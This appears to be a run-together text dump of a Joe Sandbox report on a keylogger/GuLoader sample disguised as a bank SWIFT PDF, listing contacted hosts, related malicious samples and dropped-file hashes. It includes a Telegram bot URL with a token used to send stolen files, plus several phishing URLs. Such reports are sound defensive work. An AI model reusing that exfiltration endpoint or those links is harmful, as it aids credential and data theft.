                                  https://api.telegram.org/botBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmpfalse
                                    high
                                    https://translate.google.com/translate_a/element.jsBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpfalse
                                      high
                                      https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmpfalse
                                        high
                                        https://drive.google.com/Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.00000000050D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                          high
                                          https://drive.usercontent.google.com/%Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005140000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660085029.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660177386.0000000005149000.00000004.00000020.00020000.00000000.sdmpfalse
                                            high
                                            https://drive.google.com/QBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.00000000050D8000.00000004.00000020.00020000.00000000.sdmpfalse
                                              high
                                              http://reallyfreegeoip.orgBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.00000000356A8000.00000004.00000800.00020000.00000000.sdmpfalse
                                                high
                                                https://reallyfreegeoip.orgBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  high
                                                  https://drive.usercontent.google.com/Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660085029.0000000005184000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005185000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    high
                                                    http://checkip.dyndns.orgBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003566F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      high
                                                      https://apis.google.comBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        high
                                                        http://checkip.dyndns.comBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          high
                                                          http://nsis.sf.net/NSIS_ErrorErrorBank Swift and SOA PRN0072003410853_pdf.exefalse
                                                            high
                                                            http://api.telegram.orgBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              high
                                                              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameBank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035611000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                high
                                                                https://reallyfreegeoip.org/xml/Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                  high
                                                                  • No. of IPs < 25%
                                                                  • 25% < No. of IPs < 50%
                                                                  • 50% < No. of IPs < 75%
                                                                  • 75% < No. of IPs
                                                                  IPDomainCountryFlagASNASN NameMalicious
                                                                  149.154.167.220
                                                                  api.telegram.orgUnited Kingdom
                                                                  62041TELEGRAMRUfalse
                                                                  193.122.130.0
                                                                  checkip.dyndns.comUnited States
                                                                  31898ORACLE-BMC-31898USfalse
                                                                  172.217.19.174
                                                                  drive.google.comUnited States
                                                                  15169GOOGLEUSfalse
                                                                  142.250.181.33
                                                                  drive.usercontent.google.comUnited States
                                                                  15169GOOGLEUSfalse
                                                                  172.67.177.134
                                                                  reallyfreegeoip.orgUnited States
                                                                  13335CLOUDFLARENETUSfalse
                                                                  Joe Sandbox version:41.0.0 Charoite
                                                                  Analysis ID:1567225
                                                                  Start date and time:2024-12-03 10:06:06 +01:00
                                                                  Joe Sandbox product:CloudBasic
                                                                  Overall analysis duration:0h 6m 39s
                                                                  Hypervisor based Inspection enabled:false
                                                                  Report type:full
                                                                  Cookbook file name:default.jbs
                                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                  Number of analysed new started processes analysed:5
                                                                  Number of new started drivers analysed:0
                                                                  Number of existing processes analysed:0
                                                                  Number of existing drivers analysed:0
                                                                  Number of injected processes analysed:0
                                                                  Technologies:
                                                                  • HCA enabled
                                                                  • EGA enabled
                                                                  • AMSI enabled
                                                                  Analysis Mode:default
                                                                  Analysis stop reason:Timeout
                                                                  Sample name:Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                  Detection:MAL
                                                                  Classification:mal100.troj.spyw.evad.winEXE@3/8@5/5
                                                                  EGA Information:
                                                                  • Successful, ratio: 100%
                                                                  HCA Information:
                                                                  • Successful, ratio: 96%
                                                                  • Number of executed functions: 113
                                                                  • Number of non-executed functions: 115
                                                                  Cookbook Comments:
                                                                  • Found application associated with file extension: .exe
                                                                  • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
                                                                  • Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
                                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                                  • Report size getting too big, too many NtReadVirtualMemory calls found.
                                                                  • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                  • VT rate limit hit for: Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                  TimeTypeDescription
                                                                  04:08:09API Interceptor2367x Sleep call for process: Bank Swift and SOA PRN0072003410853_pdf.exe modified
                                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                  149.154.167.220https://dsiete.co/share.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                    Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                      P#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                        https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29tGet hashmaliciousHTMLPhisherBrowse
                                                                          file.exeGet hashmaliciousDiscord Token Stealer, DotStealerBrowse
                                                                            msedge.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                              https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.orgGet hashmaliciousHTMLPhisherBrowse
                                                                                678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                  HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                    #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      193.122.130.0HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      swift.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      Ziraat_Swift.htaGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      JUSTIFICANTE PAGO FRAS NOVIEMBRE 2024.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      ZM-Z_2024-000343__SKM-0_000.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      QUOTATION_AUGQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      QUOTATION_NOVQTRA071244#U00faPDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      rSolicita____odecota____o.exeGet hashmaliciousPureLog Stealer, Snake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      QUOTE 6935100428170.exeGet hashmaliciousPureLog Stealer, Snake KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • checkip.dyndns.org/
                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                      checkip.dyndns.comP#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 132.226.247.73
                                                                                      678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 132.226.8.169
                                                                                      HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 132.226.247.73
                                                                                      QUOTATION_DECQTRA071244PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      QUOTATION_NOVQTRA071244#U00b7PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      RFQ-2309540_27112024.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 193.122.6.168
                                                                                      swift.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 193.122.130.0
                                                                                      Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exeGet hashmaliciousMassLogger RATBrowse
                                                                                      • 132.226.8.169
                                                                                      tA5DvuNwfQ.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 132.226.247.73
                                                                                      api.telegram.orghttps://dsiete.co/share.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      P#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29tGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      file.exeGet hashmaliciousDiscord Token Stealer, DotStealerBrowse
                                                                                      • 149.154.167.220
                                                                                      msedge.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                      • 149.154.167.220
                                                                                      https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.orgGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      reallyfreegeoip.orgP#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      QUOTATION_DECQTRA071244PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 104.21.67.152
                                                                                      QUOTATION_NOVQTRA071244#U00b7PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      RFQ-2309540_27112024.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 104.21.67.152
                                                                                      swift.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exeGet hashmaliciousMassLogger RATBrowse
                                                                                      • 104.21.67.152
                                                                                      tA5DvuNwfQ.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 104.21.67.152
                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                      TELEGRAMRUhttps://dsiete.co/share.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      Itnaledi Salary_ Payslip _ Updates4C79949D7C31_pdf.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      P#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=pztuconjvsFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Furlz.fr/tiku#dGFla3l1LmtpbUBoeXVuZGFpZWxldmF0b3IuY29tGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      file.exeGet hashmaliciousDiscord Token Stealer, DotStealerBrowse
                                                                                      • 149.154.167.220
                                                                                      msedge.exeGet hashmaliciousAsyncRAT, XWormBrowse
                                                                                      • 149.154.167.220
                                                                                      https://poga.blob.core.windows.net/$web/verify-your-account.html?sp=r&st=2024-12-02T06:26:51Z&se=2024-12-31T14:26:51Z&spr=https&sv=2022-11-02&sr=b&sig=AbN1l3IGSW5p4S%2Bg5uP%2BGMaA3Ltc8WWpTnk3GqW0l8c%3D#fdwncadmin@fd.orgGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      ORACLE-BMC-31898USHALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 193.122.130.0
                                                                                      QUOTATION_DECQTRA071244PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      QUOTATION_NOVQTRA071244#U00b7PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      RFQ-2309540_27112024.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 193.122.6.168
                                                                                      swift.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 193.122.130.0
                                                                                      Fonts.exeGet hashmaliciousMassLogger RATBrowse
                                                                                      • 193.122.6.168
                                                                                      New Order C0038 2024.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 158.101.44.242
                                                                                      Ziraat_Swift.htaGet hashmaliciousMassLogger RAT, PureLog StealerBrowse
                                                                                      • 193.122.130.0
                                                                                      tDLozbx48F.exeGet hashmaliciousGurcu StealerBrowse
                                                                                      • 140.238.218.94
                                                                                      CLOUDFLARENETUSfred.htmlGet hashmaliciousUnknownBrowse
                                                                                      • 172.67.212.141
                                                                                      attached invoice.exeGet hashmaliciousFormBookBrowse
                                                                                      • 172.67.159.24
                                                                                      https://dsiete.co/share.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 104.26.13.205
                                                                                      https://web.goods-full.link/#/pages/recharge/components/order?type=usdtGet hashmaliciousUnknownBrowse
                                                                                      • 104.21.66.212
                                                                                      file.exeGet hashmaliciousAmadey, LummaC Stealer, Nymaim, Stealc, VidarBrowse
                                                                                      • 104.21.16.9
                                                                                      file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                      • 172.67.165.166
                                                                                      cHtIyrhXeG.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 104.16.230.132
                                                                                      HiDOalUAfc.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 104.16.231.132
                                                                                      dFezsjdHtg.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 104.16.230.132
                                                                                      pjAYMCVbvK.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 104.16.231.132
                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                      54328bd36c14bd82ddaa0c04b25ed9adP#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      HALKBANK EFT RECEIPT DATED 02.12.2024.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      QUOTATION_DECQTRA071244PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      QUOTATION_NOVQTRA071244#U00b7PDF.scr.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      #U00dcR#U00dcNLER 65Ve20_ B#U00fcy#U00fck mokapto Sipari#U015fi.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      RFQ-2309540_27112024.exeGet hashmaliciousPureLog Stealer, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      swift.exeGet hashmaliciousSnake KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      Cotizaci#U00f3n_Pedido_Manzanillo_MX.pdf.exeGet hashmaliciousMassLogger RATBrowse
                                                                                      • 172.67.177.134
                                                                                      tA5DvuNwfQ.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.67.177.134
                                                                                      3b5074b1b5d032e5620f69f9f700ff0euntrippingvT.ps1Get hashmaliciousUnknownBrowse
                                                                                      • 149.154.167.220
                                                                                      yT6gJFN0SR.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 149.154.167.220
                                                                                      mX3IqRiuFo.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 149.154.167.220
                                                                                      6K2g0GMmIE.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 149.154.167.220
                                                                                      G9eWTvswoH.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 149.154.167.220
                                                                                      INTRUM65392.pdf.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 149.154.167.220
                                                                                      file.exeGet hashmaliciousAmadey, Stealc, VidarBrowse
                                                                                      • 149.154.167.220
                                                                                      file.exeGet hashmaliciousLummaC StealerBrowse
                                                                                      • 149.154.167.220
                                                                                      P#U0142atno#U015b#U0107 8557899,jpg.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                      • 149.154.167.220
                                                                                      https://Lakeheadu.hlov.de/Szii3aFWcmivgihoevuc/trTlqgskL4/K3qRQz5Ggziclxgen/t3JiPvu/Szii3aFWcmivgihoevuc/Advising/YSxMdD/lakeheadu.ca/Szii3aFWcmivgihoevucGet hashmaliciousHTMLPhisherBrowse
                                                                                      • 149.154.167.220
                                                                                      37f463bf4616ecd445d4a1937da06e19cHtIyrhXeG.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      HiDOalUAfc.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      dFezsjdHtg.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      pjAYMCVbvK.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      MyLUNcS8wx.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      INTRUM65392.pdf.lnkGet hashmaliciousUnknownBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      file.exeGet hashmaliciousAmadey, LummaC Stealer, Nymaim, RHADAMANTHYS, Stealc, VidarBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      00onP4lQDK.exeGet hashmaliciousDCRat, PureLog Stealer, zgRATBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      678763_PDF.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      doc02122024782020031808174KR1802122024_po_doc_00000(991KB).vbsGet hashmaliciousGuLoader, RemcosBrowse
                                                                                      • 172.217.19.174
                                                                                      • 142.250.181.33
                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                      C:\Users\user\AppData\Local\Temp\nsh20B3.tmp\System.dllWC10SCPMaX.exeGet hashmaliciousAzorult, GuLoaderBrowse
                                                                                        PayeeAdvice_HK54912_R0038704_37504.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          CL714440147.exeGet hashmaliciousGuLoaderBrowse
                                                                                            TKnBbCiX07.exeGet hashmaliciousGuLoaderBrowse
                                                                                              ________.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                Snurrevoddenes.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                  Eksistensberettigelsernes102.exeGet hashmaliciousGuLoader, Snake Keylogger, VIP KeyloggerBrowse
                                                                                                    ALI HASSO - P02515 & P02518.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                                      PRICE ENQUIRY - RFQ 6000073650.exeGet hashmaliciousGuLoaderBrowse
                                                                                                        PRICE ENQUIRY - RFQ 6000073650.exeGet hashmaliciousAzorult, GuLoaderBrowse
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                          Category:dropped
                                                                                                          Size (bytes):11264
                                                                                                          Entropy (8bit):5.801108840712148
                                                                                                          Encrypted:false
                                                                                                          SSDEEP:192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
                                                                                                          MD5:FC90DFB694D0E17B013D6F818BCE41B0
                                                                                                          SHA1:3243969886D640AF3BFA442728B9F0DFF9D5F5B0
                                                                                                          SHA-256:7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
                                                                                                          SHA-512:324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
                                                                                                          Malicious:false
                                                                                                          Antivirus:
                                                                                                          • Antivirus: ReversingLabs, Detection: 0%
                                                                                                          Joe Sandbox View:
                                                                                                          • Filename: WC10SCPMaX.exe, Detection: malicious, Browse
                                                                                                          • Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse
                                                                                                          • Filename: CL714440147.exe, Detection: malicious, Browse
                                                                                                          • Filename: TKnBbCiX07.exe, Detection: malicious, Browse
                                                                                                          • Filename: ________.exe, Detection: malicious, Browse
                                                                                                          • Filename: Snurrevoddenes.exe, Detection: malicious, Browse
                                                                                                          • Filename: Eksistensberettigelsernes102.exe, Detection: malicious, Browse
                                                                                                          • Filename: ALI HASSO - P02515 & P02518.exe, Detection: malicious, Browse
                                                                                                          • Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse
                                                                                                          • Filename: PRICE ENQUIRY - RFQ 6000073650.exe, Detection: malicious, Browse
                                                                                                          Reputation:moderate, very likely benign file
                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                          Process:C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exe
                                                                                                          File Type:data
                                                                                                          Category:dropped
                                                                                                          Size (bytes):1239961
                                                                                                          Entropy (8bit):3.4529710226083643
                                                                                                          Encrypted:false
